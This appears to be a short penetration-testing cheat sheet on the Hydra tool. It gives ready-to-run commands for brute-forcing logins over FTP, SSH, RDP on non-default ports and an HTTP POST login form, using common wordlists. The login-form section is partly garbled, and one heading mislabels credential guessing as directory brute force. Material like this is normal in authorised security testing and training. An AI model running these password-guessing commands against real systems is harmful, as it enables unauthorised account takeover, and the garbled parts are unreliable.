Directory bruteforce:

command: hydra

-l: for a single user
-p: for a single password
-L: for a list of users
-P: for a list of passwords
-s: for choosing another port if the service isn't running on default port.

hydra -L users.txt -P passwords.txt <ip> <service>

Brute force ftp:

• hydra -L users.txt -P passwords.txt 192.168.1.21 ftp or ssh

Brute force RDP:

• hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://10.2.18.9 -s 3333

Notice we use the -s when the service isn't running on the default port.

Also to specify a service that's not running on default port:
hydra -L <username_list> -P <password_list> ftp://192.248.185.3:5554

Brute force Login Page:

Command Template:

The http-post-form to make a HTTP POST request
username=^USER^ the first username could be changed as it's a parameter other webapps might name it differently
password=^PASS^ Same as username

& added between the
{ #USER}
^ and
{ #PASS}
^

Command Example:

hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /root/Desktop/wordlists/100-common-passwords.txt 192.238.168.3 http-post-form "/login:username=^USER^&password=^PASS^:Invalid username or password"